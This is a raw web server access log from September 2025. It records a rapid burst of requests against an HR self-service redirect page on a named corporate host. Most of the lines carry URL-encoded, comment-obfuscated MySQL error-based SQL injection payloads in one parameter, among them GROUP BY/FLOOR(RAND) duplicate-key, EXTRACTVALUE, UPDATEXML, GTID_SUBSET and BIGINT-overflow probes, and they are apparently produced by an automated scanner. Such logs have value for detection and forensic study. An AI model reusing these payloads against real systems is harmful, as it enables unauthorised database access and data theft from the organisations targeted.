100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7a39356b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324c3268%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7a39356b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324c3268%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42734267%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c69764c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42734267%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c69764c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x746d494d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72334d4b%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x746d494d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72334d4b%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x46626a41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x394b3170%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x46626a41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x394b3170%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4244396c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x626f7134%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x69476d64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a667665%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6e417254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7347414e%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x75615571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51426972%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7a39356b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324c3268%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x746d494d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72334d4b%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42734267%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c69764c%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x46626a41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x394b3170%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x41615652%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63783858%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x41615652%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63783858%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f67736c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78726c57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f67736c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78726c57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6777336d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78584f4d%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6777336d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78584f4d%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x51585579%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a484d76%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x51585579%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a484d76%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x61376759%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x534c4761%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x61376759%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x534c4761%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x74773366%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c425252%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
